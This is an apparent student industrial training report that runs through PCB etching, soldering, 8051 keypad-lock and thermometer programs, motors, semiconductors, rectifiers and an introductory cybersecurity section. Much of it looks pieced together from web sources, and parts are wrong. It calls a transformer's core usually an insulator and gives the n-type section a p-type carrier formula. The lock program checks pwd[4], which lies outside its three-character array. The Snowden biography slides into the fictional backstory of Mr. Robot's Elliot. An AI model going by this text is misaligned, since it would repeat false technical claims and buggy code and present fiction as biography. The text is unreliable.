Step 6: Run the Copper Plate With the Design Face Down Through a Laminator 5-7 Times Until the Plate Is
Hot.
You can also use a iron instead of a laminator if you don’t have one.
MIST-DECE 68
INDUSTRIAL TRAINING REPORT
MIST-DECE 69
INDUSTRIAL TRAINING REPORT
Step 9: Once All the Copper Is Gone Rinse It in the Water Bath, Let It Dry and Use Rubbing Alcohol
to Whip Off the Ink Transfered Onto the PCB.
• Higher the number of distinct drill sizes that are included in the design, higher will be the different
drill bits that the manufacturer has to implement. Instead, if you reduce different drill sizes, the drill time
will be cut down.
MIST-DECE 70
INDUSTRIAL TRAINING REPORT
• Check for drill count/size between drill file and fab print.
o
o Fig no. 7.9 :drilling A Pcb
• Check for close holes less than 0.007″. If yes, it must be addressed (It can be spaced apart or one of
the drill deleted if permitted).
• Check for mouse bites. Mouse bites are perforated breakaway tabs. They are a line of tiny holes in a
PCB board just like the holes around a coupon. Mouse bites offer better grip when mounted.
• Check if the drills and other features on copper layers are falling outside the board profile.
• Check if the via size should be dropped to meet the minimum aspect ratio requirement after looking
at the drill tolerance.
• For plated drills, the tolerance is less than +/- 0.002″ and NPTH the drill tolerance is of +/- 0.001.
• Fab drawing for arcs showing NPTH drill/slot or cut out locations but missing in the drill file.
• Check if the fab drawing for arcs show NPTH drill/slot or cut-out locations. Check if it reflects on
the drill file.
MIST-DECE 71
INDUSTRIAL TRAINING REPORT
Begin this process by warming up the iron thoroughly and letting it rest until it reaches its full heat. Once it
has completely heated, coat the tip thoroughly with solder, making sure to cover the entire tip. You’ll need to
use plenty of solder to do so, and some of this will likely drip. Be prepared for this.
Once you’re certain the entire tip is coated, wipe it off with a wet sponge to get rid of any excess flux
residue. Do this right away, or else the flux may have time to solidify on the tip and become difficult to
remove later.
The key to a good soldering job is to start with a clean surface. To ensure your PCB board is clean and ready
for soldering, use an industrial cleaning pad to wipe the surface clear of any dust and debris. You may also
use an acetone cleaner to give it an additional wipe down. Finally, you might try giving it a few blasts of
compressed air, as these will remove any small particles stuck in the board.
Unless you’re working with an exceptionally simple circuit board, you’ll likely only be soldering one or two
components at once, as opposed to doing the entire board in one session. We recommend starting with the
smaller pieces and working up to the larger ones. This helps keep the board flat and balanced as the process
begins, rather than weighing it down on one side with a single heavy piece.
Begin by selecting a few small components and placing them where they belong on the board. Bend the
leads as you find you need to and insert the component into the holes where they belong. If you’re having
trouble getting the piece to stay still once you aren’t holding it in place, try bending the leads so that they
rest at a 45-degree angle along the bottom of the board.
MIST-DECE 72
INDUSTRIAL TRAINING REPORT
Add a very small amount of solder to the tip of the iron. This isn’t the solder that’s going to hold the
components in place but is rather intended to conduct heat from the iron to the board.
To properly heat the joint, hold the iron so the tip touches both the board and the component lead. This
positioning is critical since if the tip is in contact with only one of these pieces, the solder won’t stick. Once
the tip is in position, the solder you applied earlier will make contact with both the lead and the board,
heating them up and preparing them for the soldering. Hold the iron in position for a few moments before
removing it.
It’s possible to overheat during this stage, which you’ll want to avoid. If you notice the area starting to
bubble, remove the heat immediately. Wait for it to cool and then heat it again, more cautiously this time.
Once you’ve heated the joint, you’re ready to solder. Begin by touching the tip of a strand of solder to the
solder pad and lead. If you’ve heated this space correctly, the solder should flow freely and the flux should
begin to liquefy and bubble. Keep adding solder around this joint until it’s entirely coated, forming a small
mound. When you’ve reached this point, stop adding solder and remove your iron from the area, setting it
aside.
As the joint cools, make sure it stays absolutely still. If you jostle it or allow it to move, the finish will
look dull and grainy.
Step 6: Finish Up :
Once the joint has finished cooling, conduct a small inspection of it. If the solder joint looks good, move on
trimming the lead. You’ll do this by using side cutters to cut at the very top of the joint. From here, move
on to the next component you want to solder in place. Once you’re finished with all your soldering for your
current session, make sure to clean up any extra flux from the board, leaving you with a clean and finished
product.
MIST-DECE 73
INDUSTRIAL TRAINING REPORT
MIST-DECE 74
INDUSTRIAL TRAINING REPORT
MIST-DECE 75
INDUSTRIAL TRAINING REPORT
8.1.6 Program :
#include<reg52.h>
sbit r1=P3^0;
sbit r2=P3^1;
sbit r3=P3^2;
sbit r4=P3^3;
sbit c1=P3^4;
sbit c2=P3^5;
sbit c3=P3^6;
sbit rs=P2^0;
sbit rw=P2^1;
sbit en=P2^2;
sbit motp=P1^0;
sbit motn=P1^1;
void lcdcmd(unsigned char);
void lcddat(unsigned char);
void lcddis(unsigned char *,unsigned char);
void delay();
void check();
unsigned char pwd[3],x;
void main()
{
lcdcmd(0x0F);
lcdcmd(0x38);
lcdcmd(0x0c);
lcdcmd(0x01);
lcdcmd(0x06);
lcdcmd(0x80);
lcddis("PASSWORD PROTECTION",19);
lcdcmd(0xc0);
lcddis("SYSTEM",6);
lcdcmd(0x01);
lcddis("ENTER PASSWORD",14);
lcdcmd(0xc0);
MIST-DECE 76
INDUSTRIAL TRAINING REPORT
while(1)
{
r1=0;
if(c1==0)
{
pwd[x]='1';
delay();
lcddat('*');
x=x+1;
}
if(c2==0)
{
pwd[x]='2';
delay();
lcddat('*');
x=x+1;
}
if(c3==0)
{
pwd[x]='3';
delay();
lcddat('*');
x=x+1;
}
r1=1;r2=0;
if(c1==0)
{
pwd[x]='4';
delay();
lcddat('*');
x=x+1;
}
if(c2==0)
{
pwd[x]='5';
MIST-DECE 77
INDUSTRIAL TRAINING REPORT
delay();
lcddat('*');
x=x+1;
}
if(c3==0)
{
pwd[x]='6';
delay();
lcddat('*');
x=x+1;
}
r2=1;
r3=0;
if(c1==0)
{
pwd[x]='7';
delay();
lcddat('*');
x=x+1;
}
if(c2==0)
{
pwd[x]='8';
delay();
lcddat('*');
x=x+1;
}
if(c3==0)
{
pwd[x]='9';
delay();
lcddat('*');
x=x+1;
}
r3=1;
MIST-DECE 78
INDUSTRIAL TRAINING REPORT
r4=0;
if(c1==0)
{
pwd[x]='*';
delay();
lcddat('*');
x=x+1;
}
if(c2==0)
{
pwd[x]='0';
delay();
lcddat('*');
x=x+1;
}
if(c3==0)
{
check();
delay();
}
r4=1;
}
}
void check()
{
if(pwd[0] == '1' && pwd[1] == '2' && pwd[2] == '3' && pwd[4] == '4')
{
motp=1;
lcdcmd(0x01);
lcddis("PASSWORD MATCHED",16);
delay();
}
else
{
MIST-DECE 79
INDUSTRIAL TRAINING REPORT
lcdcmd(0x01);
lcddis("PASSWORD MISMATCH",17);
}
}
void lcdcmd(unsigned char val)
{
P0=val;
rs=0;
rw=0;
en=1;
delay();
en=0;
}
void lcddat(unsigned char dat)
{
P0=dat;
rs=1;
rw=0;
en=1;
delay();
en=0;
}
void lcddis(unsigned char *s,unsigned char r)
{
unsigned char w;
for(w=0;w<r;w++)
{
lcddat(s[w]);
delay();
}
}
void delay()
{
unsigned int i,j;
MIST-DECE 80
INDUSTRIAL TRAINING REPORT
for(i=0;i<12000;i++);
for(j=0;j<12000;j++);
}
8.1.7 : output :
MIST-DECE 81
INDUSTRIAL TRAINING REPORT
MIST-DECE 82
INDUSTRIAL TRAINING REPORT
MIST-DECE 83
INDUSTRIAL TRAINING REPORT
MIST-DECE 84
INDUSTRIAL TRAINING REPORT
MIST-DECE 85
INDUSTRIAL TRAINING REPORT
MIST-DECE 86
INDUSTRIAL TRAINING REPORT
cmd(0x01);
cmd(0x0c);
cmd(0x80);
}
void intro (void)
{
string(" Electronics ");
cmd(0xc0);
string(" Hub ");
delay(1000);
cmd(0x01);
string(" Digital ");
cmd(0xc0);
string(" Thermometer ");
delay(1000);
cmd(0x01);
cmd(0x40);
for(i=0;i<8;i++)
display(degree[i]);
i=0;
cmd(0x80);
}
void main()
{
unsigned int val=0;
unsigned int temp=0;
init();
intro();
dat=0xff;
while(1)
{
if(i==0)
{
string("Temp: ");
i++;
MIST-DECE 87
INDUSTRIAL TRAINING REPORT
}
val=dat*1.953;
cmd(0x86);
temp=(((val/10)%10)+48);
display(temp);
temp=((val%10)+48);
display(temp);
if(i==1)
{
display(0);
string("C");
i++;
}
delay(300);
}
while(1);
}
8.3.7 Output:
MIST-DECE 88
INDUSTRIAL TRAINING REPORT
Definition of DC motor
A DC motor is defined as a class of electrical motors that convert direct current electrical energy into
mechanical energy.
From the above definition, we can conclude that any electric motor that is operated using direct current or DC
is called a DC motor. In the next few sections, we will understand the DC motor construction and how a DC
motor converts the supplied DC electrical energy into mechanical energy.
DC Motor Parts
In this section, we will be discussing the construction of DC motors.
DC Motor Diagram
MIST-DECE 89
INDUSTRIAL TRAINING REPORT
MIST-DECE 90
INDUSTRIAL TRAINING REPORT
Fleming’s left hand rule is used to determine the direction of force exerted on a current carrying wire placed
in a magnetic field. If the thumb, index finger (along magnetic field) and middle finger(along current) are held
mutually perpendicular as shown in the figure, then thumb gives the direction of force on the wire.
3. TRANSFORMER
A transformer has a primary coil to which input is given and a secondary coil from which the output is
collected. Both of these coils are wound on a core material. Usually an insulator forms the Core of the
transformer.
The following figure shows a practical transformer.
MIST-DECE 91
INDUSTRIAL TRAINING REPORT
Transformer in a Circuit
The following figure shows how a transformer is represented in a circuit. The primary winding, the secondary
winding and the core of the transformer are also represented in the following figure.
MIST-DECE 92
INDUSTRIAL TRAINING REPORT
MIST-DECE 93
INDUSTRIAL TRAINING REPORT
MIST-DECE 94
INDUSTRIAL TRAINING REPORT
MIST-DECE 95
INDUSTRIAL TRAINING REPORT
MIST-DECE 96
INDUSTRIAL TRAINING REPORT
6. SOFT STARTER
Motors can frequently require a large amount of energy when they accelerate up to full speed.A soft
starter is used to reduce the inrush currents and limit torque, useful if you want to protect your equipment,
extend the life of your motor and reduce motor heating with frequent starts and stops.
So, a soft starter provides a gentle acceleration up to full speed and they are used only at startup. This
gradual start is achieved by ramping up the initial voltage to the motor.
MIST-DECE 97
INDUSTRIAL TRAINING REPORT
Electrical motors are an electro-mechanical device that converts electrical energy to mechanical energy. Based
on the type of input we have classified it into single phase and 3 phase motors.
The most common type of 3 phase motors are synchronous motors and induction motors. When three-phase
electric conductors are placed in certain geometrical positions (i.e. in a certain angle from one another) – an
electrical field is generated. The rotating magnetic field rotates at a certain speed known as the synchronous
speed.
If an electromagnet is present in this rotating magnetic field, the electromagnet is magnetically locked with
this rotating magnetic field and rotates with the same speed of rotating field.
This is where the term synchronous motor comes from, as the speed of the rotor of the motor is the same as
the rotating magnetic field.
It is a fixed speed motor because it has only one speed, which is synchronous speed. This speed is synchronised
with the supply frequency. The synchronous speed is given by:
Where:
• N= The Synchronous Speed (in RPM – i.e. Rotations Per Minute)
• f = The Supply Frequency (in Hz)
• p = The number of Poles
Construction of Synchronous Motor
MIST-DECE 98
INDUSTRIAL TRAINING REPORT
Usually, its construction is almost similar to that of a 3 phase induction motor, except the fact that here we
supply DC to the rotor, the reason of which we shall explain later. Now, let us first go through the basic
construction of this type of motor. From the above picture, it is clear that how do we design this type of
machine. We apply three phase supply to the stator and DC supply to the rotor.
Main Features of Synchronous Motors
1. Synchronous motors are inherently not self starting. They require some external means
to bring their speed close to synchronous speed to before they are synchronized.
2. The speed of operation of is in synchronism with the supply frequency and hence for
constant supply frequency they behave as constant speed motor irrespective of load condition
3. This motor has the unique characteristics of operating under any electrical power factor.
This makes it being used in electrical power factor improvement.
Principle of Operation Synchronous Motor
Synchronous motors are a doubly excited machine, i.e., two electrical inputs are provided to it. Its stator
winding which consists of a We provide three-phase supply to three-phase stator winding, and DC to the rotor
winding.
The 3 phase stator winding carrying 3 phase currents produces 3 phase rotating magnetic flux. The rotor
carrying DC supply also produces a constant flux. Considering the 50 Hz power frequency, from the above
relation we can see that the 3 phase rotating flux rotates about 3000 revolutions in 1 min or 50 revolutions in
1 sec.
At a particular instant rotor and stator poles might be of the same polarity (N-N or S-S) causing a repulsive
force on the rotor and the very next instant it will be N-S causing attractive force. But due to the inertia of the
rotor, it is unable to rotate in any direction due to that attractive or repulsive forces, and the rotor remains in
standstill condition. Hence a synchronous motor is not self-starting.
Here we use some mechanical means which initially rotates the rotor in the same direction as the magnetic
field to speed very close to synchronous speed. On achieving synchronous speed, magnetic locking occurs,
and the synchronous motor continues to rotate even after removal of external mechanical means.
But due to the inertia of the rotor, it is unable to rotate in any direction due to that attractive or repulsive forces,
and the rotor remains in standstill condition. Hence a synchronous motor is not self-starting.
Here we use some mechanical means which initially rotates the rotor in the same direction as the magnetic
field to speed very close to synchronous speed. On achieving synchronous speed, magnetic locking occurs,
and the synchronous motor continues to rotate even after removal of external mechanical means.
Methods of Starting of Synchronous Motor
Motor starting with an external prime Mover: Synchronous motors are mechanically coupled with another
motor. It could be either 3 phase induction motor or DC shunt motor. Here, we do not apply DC excitation
MIST-DECE 99
INDUSTRIAL TRAINING REPORT
initially. It rotates at speed very close to its synchronous speed, and then we give the DC excitation. After
some time when magnetic locking takes place supply to the external motor is cut off.
Damper winding In this case, the synchronous motor is of salient pole type, additional winding is placed in
rotor pole face. Initially, when the rotor is not rotating, the relative speed between damper winding and rotating
air gap flux is large and an emf is induced in it which produces the required starting torque. As speed
approaches synchronous speed, emf and torque are reduced and finally when magnetic locking takes place;
torque also reduces to zero. Hence in this case synchronous motor first runs as three phase induction
motor using additional winding and finally it is synchronized with the frequency.
MIST-DECE 100
INDUSTRIAL TRAINING REPORT
Due to their role in the fabrication of electronic devices, semiconductors are an important part of our lives.
Imagine life without electronic devices. There would be no radios, no TV's, no computers, no video games,
and poor medical diagnostic equipment. Although many electronic devices could be made using vacuum tube
technology, the developments in semiconductor technology during the past 50 years have made electronic
devices smaller, faster, and more reliable. Think for a minute of all the encounters you have with electronic
devices. How many of the following have you seen or used in the last twenty-four hours? Each has important
components that have been manufactured with electronic materials.
Types of Semiconductors
Semiconductors can be classified as:
• Intrinsic Semiconductor
• Extrinsic Semiconductor
8. N-TYPE SEMICONDUCTOR
• Mainly due to electrons
• Entirely neutral
• I = Ih and nh >> ne
• Majority – Electrons and Minority – Holes
When a pure semiconductor (Silicon or Germanium) is doped by pentavalent impurity (P, As, Sb, Bi) then,
four electrons out of five valence electrons bonds with the four electrons of Ge or Si.
The fifth electron of the dopant is set free. Thus the impurity atom donates a free electron for conduction in
the lattice and is called “Donar“.
MIST-DECE 101
INDUSTRIAL TRAINING REPORT
Since the number of free electron increases by the addition of an impurity, the negative charge carriers
increase. Hence it is called n-type semiconductor.
9. P-TYPE SEMICONDUCTOR
• Mainly due to holes
• Entirely neutral
• I = Ih and nh >> ne
• Majority – Holes and Minority – Electrons
When a pure semiconductor is doped with a trivalent impurity (B, Al, In, Ga ) then, the three valence electrons
of the impurity bonds with three of the four valence electrons of the semiconductor.
This leaves an absence of electron (hole) in the impurity. These impurity atoms which are ready to accept
bonded electrons are called “Acceptors“.
With the increase in the number of impurities, holes (the positive charge carriers) are increased. Hence, it is
called p-type semiconductor.
10. P-N JUNCTION
Definition: A p-n junction is an interface or a boundary between two semiconductor material types, namely
the p-type and the n-type, inside a semiconductor.
The p-side or the positive side of the semiconductor has an excess of holes and the n-side or the negative side
has an excess of electrons. In a semiconductor, the p-n junction is created by the method of doping. The process
of doping is explained in further detail in the next section.
Formation of P-N Junction
As we know if we use different semiconductor materials to make a p-n junction, there will be a grain boundary
that would inhibit the movement of electrons from one side to the other by scattering the electrons and holes
and thus we use the process of doping. We will understand the process of doping with the help of this example.
Let us consider a thin p-type silicon semiconductor sheet. If we add a small amount of pentavalent impurity
to this, a part of the p-type Si will get converted to n-type silicon. This sheet will now contain both p-type
region and n-type region and a junction between these two regions. The processes that follow after the
formation of a p-n junction are of two types – diffusion and drift. As we know, there is a difference in the
concentration of holes and electrons at the two sides of a junction, the holes from the p-side diffuse to the n-
side and the electrons from the n-side diffuse to the p-side. These give rise to a diffusion current across the
junction.
MIST-DECE 102
INDUSTRIAL TRAINING REPORT
MIST-DECE 103
INDUSTRIAL TRAINING REPORT
MIST-DECE 104
INDUSTRIAL TRAINING REPORT
electric field are in the same direction. When the two fields are added, the resultant electric field is in the same
direction as the built-in electric field creating a more resistive, thicker depletion region. The depletion region
becomes more resistive and thicker if the applied voltage becomes larger.
VI characteristics of PN junction diode is a curve between the voltage and current through the circuit. Voltage
is taken along the x-axis while the current is taken along the y-axis. The above graph is the VI characteristics
curve of the PN junction diode. With the help of the curve we can understand that there are three regions in
which the diode works, and they are:
• Zero bias
MIST-DECE 105
INDUSTRIAL TRAINING REPORT
• Forward bias
• Reverse bias
When the PN junction diode is under zero bias condition, there is no external voltage applied and this means
that the potential barrier at the junction does not allow the flow of current.
When the PN junction diode is under forward bias condition, the p-type is connected to the positive terminal
while the n-type is connected to the negative terminal of the external voltage. When the diode is arranged in
this manner, there is a reduction in the potential barrier. For silicone diodes, when the voltage is 0.7 V and for
germanium diodes, when the voltage is 0.3 V, the potential barriers decreases and there is a flow of current.
When the diode is in forward bias, the current increases slowly and the curve obtained is non-linear as the
voltage applied to the diode is overcoming the potential barrier. Once the potential barrier is overcome by the
diode, the diode behaves normal and the curve rises sharply as the external voltage increases and the curve so
obtained is linear.
When the PN junction diode is under negative bias condition, the p-type is connected to the negative terminal
while the n-type is connected to the positive terminal of the external voltage. This results in an increase in the
potential barrier. Reverse saturation current flows in the beginning as minority carriers are present in the
junction.
When the applied voltage is increased, the minority charges will have increased kinetic energy which affects
the majority charges. This is the stage when the diode breaks down. This may also destroy the diode.
Applications of PN Junction Diode
• p-n junction diode can be used as a photodiode as the diode is sensitive to the light when the
configuration of the diode is reverse-biased.
• It can be used as a solar cell.
• When the diode is forward-biased, it can be used in LED lighting applications.
• It is used as rectifiers in many electric circuits and as a voltage-controlled oscillator in varactors.
Semiconductor Zener
Diode Diode
Electric
Extrinsic
Field
Semiconductors
Lines
MIST-DECE 106
INDUSTRIAL TRAINING REPORT
13.What is Rectifier?
A Rectifier is an electrical device that is made of one or more than one diodes that converts the alternating
current (AC) into direct current (DC). It is used for rectification where the process below shows that how it
convert AC into DC..
What is Rectification?
Rectification is the process of conversion of the alternating current (which periodically changes direction) into
direct current (flow in a single direction).
Based on the type of rectification circuit does, the rectifiers are classified into two categories.
• Half wave rectifier
• Full wave rectifier
Half wave rectifier only converts half of the AC wave into DC signal whereas Full wave rectifier converts
complete AC signal into DC.
Bridge rectifier is the most commonly used rectifier in electronics and this report will deal with the working
and making of one. Simple bridge rectifier circuit is the most popular method for full wave rectification.
A simple Half Wave Rectifier is nothing more than a single pn junction diode connected in series to the load
resistor. As you know a diode is to electric current like a one-way valve is to water, it allows electric current
to flow in only one direction. This property of the diode is very useful in creating simple rectifiers which are
used to convert AC to DC.
A diode allows the current flow in only one direction known as forward bias. A load resistor RL is connected
in series with the diode.
MIST-DECE 107
INDUSTRIAL TRAINING REPORT
MIST-DECE 108
INDUSTRIAL TRAINING REPORT
In contrast to the working of a half-wave rectifier, the full bridge rectifier has another branch which allows it
to conduct for the negative half of the voltage waveform which the half-bridge rectifier had no means of doing.
So the average voltage at the output of the full bridge rectifier is double than that of the half-bridge rectifier.
Although we use four individual power diodes to make a full wave bridge rectifier, pre-made bridge rectifier
components are available “off-the-shelf” in a range of different voltage and current sizes that can be used
directly to make a working circuit.
The output voltage waveform after the rectification is not a proper DC, so we can try to make it more into a
DC waveform using a capacitor for filtering purpose. Smoothing or reservoir capacitors that are connected in
parallel with the load across the output of the full wave bridge rectifier circuit increases the average DC output
level to the required average DC voltage at the output because the capacitor not only acts as a filtering
component, but it also periodically charges and discharges effectively increasing the output voltage.
Capacitor charge till the waveform goes to its peak and discharges uniformly into the load circuit when
waveform starts going low. So when the output is going low, capacitor maintains the proper voltage supply
into the load circuit, hence creating the DC.
Advantages of a Bridge Rectifier:
1. Low ripples in the output DC signal
2. High rectifier efficiency
3. Low power loss
Disadvantages of Bridge Rectifier:
1. Bridge rectifier is more complex than a half-wave rectifier
2. More power loss compared to centre tapped full wave rectifier.
Cathodic protection (CP) is a technique used to control the corrosion of a metal surface by
making it the cathode of an electrochemical cell. A simple method of protection connects
the metal to be protected to a more easily corroded "sacrificial metal" to act as the anode.
The simplest method to apply cathodic protection is by connecting the metal to be protected
with another more easily corroded metal to act as the anode. Zinc, aluminium and
magnesium are the metals commonly used as anodes.
The most active metal (whis also is the less noble) becomes the anode to the others, and
sacrifices itself by corroding (giving up metal) to protect the cathode. Hence, the term
sacrificial anode.
As the driving voltage of sacrificial anodes is low compared with impressed current anodes,
the sacrificial anodes must be well distributed and located closer to the area being protected.
How to Prevent Corrosion
You can prevent corrosion by selecting the right:
• Metal Type
MIST-DECE 109
INDUSTRIAL TRAINING REPORT
• Protective Coating
• Environmental Measures
• Sacrificial Coatings
• Corrosion Inhibitors
• Design Modification
Metal Type
One simple way to prevent corrosion is to use a corrosion resistant metal such as aluminum or stainless steel.
Depending on the application, these metals can be used to reduce the need for additional corrosion protection.
Protective Coatings
The application of a paint coating is a cost-effective way of preventing corrosion. Paint coatings act as a barrier
to prevent the transfer of electrochemical charge from the corrosive solution to the metal underneath.
Another possibility is applying a powder coating. In this process, a dry powder is applied to the clean metal
surface. The metal is then heated which fuses the powder into a smooth unbroken film. A number of different
powder compositions can be used, including acrylic, polyester, epoxy, nylon, and urethane.
16. THYRISTORS
Thyristors are an interesting class of semiconductor devices. They share similar characteristics with
other solid-state components made from silicon, like diodes and transistors. Therefore, distinguishing
thyristors from diodes and transistors could be difficult. To add to the difficulty, there are different types
of thyristors available on the market.
In some instances, what sets thyristors apart from one another could be just a tiny detail.
Also, depending on the manufacturer, a given thyristor may be known by another name.
MIST-DECE 110
INDUSTRIAL TRAINING REPORT
To apply thyristors successfully when designing circuits, it is important to know their unique
characteristics, limitations, and their relationship with the circuit. That’s why we’re taking some time
to sort it all out so that you can have a better understanding of what thyristor is most suitable for your
application.
A thyristor is a four-layer device with alternating P-type and N-type semiconductors (P-N-P-N).
In its most basic form, a thyristor has three terminals: anode (positive terminal), cathode (negative
terminal), and gate (control terminal). The gate controls the flow of current between the anode and
cathode.
The primary function of a thyristor is to control electric power and current by acting as a switch. For
such a small and lightweight component, it offers adequate protection to circuits with large voltages
and currents (up to 6000 V, 4500 A).
It is attractive as a rectifier because it can switch rapidly from a state of conducting current to a state
of non-conduction.
In addition, its cost of maintenance is low and, operating under the right conditions, remains
functional in the long term without developing a fault.
Thyristors are used in a wide range of electric circuits, from simple burglar alarms to power
transmission lines.
MIST-DECE 111
INDUSTRIAL TRAINING REPORT
PART-C: CYBERSECURITY
1. INTRODUCTION :
Cyber security is important because government, military, corporate, financial, and medical
organizations collect, process, and store unprecedented amounts of data on computers and other
devices. A significant portion of that data can be sensitive information, whether that be intellectual
property, financial data, personal information, or other types of data for which unauthorized access or
exposure could have negative consequences. Organizations transmit sensitive data across networks and
to other devices in the course of doing businesses, and cyber security describes the discipline dedicated
to protecting that information and the systems used to process or store it. As the volume and
sophistication of cyber attacks grow, companies and organizations, especially those that are tasked
with safeguarding information relating to national security, health, or financial records, need to take
steps to protect their sensitive business and personnel information. As early as March 2013, the
nation’s top intelligence officials cautioned that cyber attacks and digital spying are the top threat to
national security, eclipsing even terrorism.
2. PROXY SERVER :
A proxy server acts as a gateway between you and the internet. It’s an intermediary server separating end
users from the websites they browse. Proxy servers provide varying levels of functionality, security, and
privacy depending on your use case, needs, or company policy.If you’re using a proxy server, internet traffic
flows through the proxy server on its way to the address you requested. The request then comes back
through that same proxy server (there are exceptions to this rule), and then the proxy server forwards the
data received from the website to you.
MIST-DECE 112
INDUSTRIAL TRAINING REPORT
MIST-DECE 113
INDUSTRIAL TRAINING REPORT
VPN available from the public Internet can provide some of the benefits of a wide area network (WAN).
From a user perspective, the resources available within the private network can be accessed remotely.
4. INCOGNITO MODE:
5. BIOGRAPHIES :
5.1 Edward Snowden :
Edward Joseph Snowden (born June 21, 1983) is an American whistleblower who copied and
leaked highly classified information from the National Security Agency (NSA) in 2013 when he was
a Central Intelligence Agency (CIA) employee and subcontractor. His disclosures revealed
numerous global surveillance programs, many run by the NSA and the Five Eyes Intelligence
Alliance with the cooperation of telecommunication companies and European governments, and
prompted a cultural discussion about national security and individual privacy.
MIST-DECE 114
INDUSTRIAL TRAINING REPORT
In 2013, Snowden was hired by an NSA contractor, Booz Allen Hamilton, after previous employment
with Dell and the CIA. Snowden says he gradually became disillusioned with the programs with which
he was involved and that he tried to raise his ethical concerns through internal channels but was
ignored. On May 20, 2013, Snowden flew to Hong Kong after leaving his job at an NSA facility in
Hawaii, and in early June he revealed thousands of classified NSA documents to journalists Glenn
Greenwald, Laura Poitras, and Ewen MacAskill. Snowden came to international attention after stories
based on the material appeared in The Guardian and The Washington Post. Further disclosures were
made by other publications including Der Spiegel and The New York Times.
Career:
Feeling a duty to fight in the Iraq War to help free oppressed people, Snowden enlisted in the United States
Army Reserve on May 7, 2004, and became a Special Forces candidate through its 18X enlistment
option. He did not complete the training due to bilateral tibial fractures, and was discharged on September
28, 2004.]Snowden was then employed for less than a year in 2005 as a security guard at the University of
Maryland's Center for Advanced Study of Language, a research center sponsored by the National Security
MIST-DECE 115
INDUSTRIAL TRAINING REPORT
Agency (NSA). According to the University, this is not a classified facility, though it is heavily guarded. In
June 2014, Snowden told Wired that his job as a security guard required a high-level security clearance, for
which he passed a polygraph exam and underwent a stringent background check.
Background:
Although not much is known about his childhood, Elliot describes his relationship with his father to be a
very positive one. He tells Mr. Robot that his father was the only one he could talk to. His father died of
leukemia which he developed after working at E-Corp, leaving him in the care of his mother. Elliot's father
tried to keep the cancer a secret, but when he was very ill by the time Elliot was eight, he told his father's
secret to his mother, resulting into his father flying into a rage, pushing him out of the bedroom window and
breaking his arm. This affected Elliot's otherwise positive opinion of his father, however, Darlene informs
him that this did not happen - in fact, he fell out of the window due to his own breakdown with a baseball
bat. He did not have a good relationship with his mother, who was somewhat abusive towards Elliot as a
child both physically and mentally. She seemed to have a negative relationship with Elliot's father, acting
MIST-DECE 116
INDUSTRIAL TRAINING REPORT
indifferent after his death. Darlene is Elliot's younger sister, although he does not always remember that she
is.
Before Elliot worked as an engineer at All safe Cybersecurity, he previously worked as a white-hat
hacker for a cyber company, looking for holes in the system until it was "hacker-proof". On Memorial
Day weekend when everybody else wanted to leave to party, Elliot continued to hack the company and
they couldn't lock down the servers. They locked Elliot in the server room for the night.
5.3 DTRACK :
DTrack, as flagged by cyber-security firm Kaspersky, is used by hackers to attack financial and research
centres in India. It's earlier version ATM Dtrack was designed to hack ATMs in India. "The malware was
designed to be planted on the victim’s ATMs, where it could read and store the data of cards that were
inserted into the machines," a post by Kaspersky said in September.
Later a version of it was used to attack the banking system in South Korea as well as for the infamous
WannaCry ransom worm attacks across the globe. Researchers have identified that the malware which
infected the computer at Kudankulam nuclear power plant was DTrack. However, cyber attack expert
Pukhraj Singh says that the identity of the malware was not certain. According to reports, Lazarus is an arm
of the North Korean regime. Lazarus first landed on the radar of many security researchers following the
infamous Sony Pictures hack in late 2014. Once considered a ragtag ensemble of hackers, the group has
risen to prominence over the years with a series of lucrative hacks involving the SWIFT payment network
used by banks. After the due investigations, the cyber experts have tied the 2013 cyberattack in South Korea
and WannaCry ransom worm attacks in 2017 to Lazarus Group. News agencies including Reuters have
cited a United Nationsreport that estimated North Korean hacking has generated $2 billion for the country’s
weapons of mass destruction programmes.
There are at least 180 versions of DTrack virus identified by Kaspersky Lab. Samples analyzed by
Kaspersky Lab include the following capabilities:
#Keylogging
#Retrieving browser history
#Gathering host IP addresses, information about available networks and active connections
#Listing all running processes
#Listing all files on all available disk volumes
6. HTTP &HTTPS :
6.1 Hypertext Transfer Protocol (HTTP) :
Hypertext transfer protocol or HTTP is a fundamental protocol used on the Internet in order to control data
transfer to and from a hosting server, in communication with a web browser.
HTTP is the essential means of communication between web users and the servers that maintain the websites
themselves.
MIST-DECE 117
INDUSTRIAL TRAINING REPORT
As a stateless protocol, HTTP is not inherently saving user settings — so items like cookies are used to help
the web sites and servers to “remember” what a user has done.
The use of user-accessible tools means users can choose to erase cookies and other tools and start over again
as anonymous users, or save these markers so that they can bypass all of that “getting to know” the hosting
server’s site again.
In some ways, HTTP has been useful in transitioning web use into a really stable stateful result — but users
who delete all cookies and stored data for the first time may be dismayed by how much of their daily web
routine is compromised.
Early HTTP :
Let's talk about some of the essential parts of the HTTP header. HTTP request and response headers define
the operating parameters of HTTP transactions.
A request structure typically contains the URL with a method, and defines the protocol.
Then there are various standard and non-standard request fields that all trigger different interactions.
A simple way to think of this is that the HTTP codes and fields are, again, the way that the two transacting
parties communicate — browsers send the request to the server, and the servers send the responses, also in
HTTP syntax.
Universalizing this in the context of hypertext syntax makes sense and is a part of how groups like the World
Wide Web Consortium or W3C approached building the Internet as it exists today.
Making HTTP Secure :
Over time, a new protocol called HTTPS emerged, which encrypts the contents of HTTP messages with
Transport Layer Security and Secure Dockets Layer or TLS/SSL protocols.
MIST-DECE 118
INDUSTRIAL TRAINING REPORT
Prior to this, in many cases, hackers could simply go in and type in additions or amendments to the actual
request in their browser URL bar, before triggering the request itself. That led to all sorts of security
vulnerabilities where bad actors were getting control of or access to systems.
Because HTTPS encrypts the actual HTTP syntax, it's effective in safeguarding against this kind of activity.
Tracking and Interactivity
As the web becomes more complex, HTTP is evolving, too. The ways that web users and sites interact have
been subject to some pretty significant evolutions over the last couple of decades.
For example, in general, the era of Web 2.0 has been a time in which company and other websites have
become more interactive. There are more user registration fields and other user events embedded in web
pages in general, and all of these have to be managed with HTTP, or more accurately HTTPS.
Then there's the news of a future web 3.0, which will rely on technologies like JSON to accommodate more
data mapping, more semantic connection and more automation of browser and server interactions.
HTTP itself might undergo a lot more future change to accommodate this — but for now, HTTPS remains a
foundational aspect of Internet security and function.
6.2 HTTPS:
HTTPS (HTTP over SSL or HTTP Secure) is the use of Secure Socket Layer (SSL) or Transport Layer
Security (TLS) as a sublayer under regular HTTP application layering. HTTPS encrypts and decrypts user
page requests as well as the pages that are returned by the Web server. The use of HTTPS protects against
eavesdropping and man-in-the-middle attacks. HTTPS was developed by Netscape.
